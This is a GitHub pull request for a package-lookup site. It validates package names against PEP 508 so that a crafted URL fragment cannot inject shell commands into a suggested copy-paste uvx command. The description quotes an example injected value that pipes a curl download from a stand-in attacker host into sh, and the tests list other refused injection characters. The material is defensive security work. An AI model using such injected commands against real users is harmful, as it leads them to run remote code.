Repository navigation
Lookup: only suggest the uvx command for a valid package name - #85
Conversation
The lookup's "isn't in the top 5,000" card put the search text or the #package= fragment into a copy-paste `uvx wheelgap <name> -t all` command. It was HTML-escaped but not checked as a package name, so a crafted link could show a command with `; curl ... | sh` in it. Add isPackageName() to site/logic.js with the PEP 508 name pattern and show the command only for a valid name; otherwise say the name isn't a valid package name. Closes wheelgap#57 Signed-off-by: sarankumar1325 <[email protected]>
The card invites checking a package at a pinned version, so numpy==2.0.0 should still get the uvx command (the version part allows only letters, digits and . + _ -). An invalid name now says "That isn't a valid package name." without repeating the URL text on the page. Co-Authored-By: Claude Opus 5.5 <[email protected]>
|
Thanks @sarankumar1325! The PEP 508 check and the long list of refused inputs are exactly what #57 needed. We've made these changes so it can go in:
It'll merge once a final review passes. (Review assisted by Claude.) |
numpy==2.0.0 said numpy isn't in the top 5,000. Look the name up, and when the pin isn't the scanned release, say which release the card is for and give the command for the pinned one. Co-Authored-By: Claude Opus 5.5 <[email protected]>
|
Thanks again @sarankumar1325! The command is now safe for every input we tried, which is the heart of #57. A final review turned up a couple of edge cases in the pinned-version handling we added. For example, (Review assisted by Claude.) |
|
Merged, thanks @sarankumar1325! The lookup's copy-paste command now only ever holds a real package name, and the long list of refused inputs in your tests is exactly the right instinct. One more fix from review: a pinned query like #55 is still there if you'd like it. (Reply assisted by Claude.) |
Closes #57.
What changes
site/logic.jsgetsisPackageName()with the PEP 508 name pattern from the issue,^([A-Z0-9]|[A-Z0-9][A-Z0-9._-]*[A-Z0-9])$, case-insensitive. Anything that isn't a string returns false.renderLookup(site/app.js), the "isn't in the top N" card shows theuvx wheelgap <name> -t allcommand only when the trimmed name passesisPackageName. Otherwise the card says, in plain text,<name> isn't a valid package name.The name is still HTML-escaped as before.So
#package=foo%3B%20curl%20https%3A%2F%2Fevil.example%2Fx%20%7C%20sh%20%23now shows "foo; curl https://evil.example/x | sh # isn't a valid package name." and no command.Tests
In
tests/site/logic.test.js:numpy,zope.interface,A_b-c,x,Pillow,backports.zoneinfo,a1.; curl … | sh #name, a space,|, backticks,$(…),&&,>, a leading-or., a trailing-, an embedded or trailing newline, and non-strings.node --test tests/site/logic.test.js tests/site/scripts.test.js tests/site/check-logic.test.mjspasses 29/29,node --checkis clean on logic.js and app.js, anduvx --python 3.14 [email protected]gives 325 passed, 1 skipped.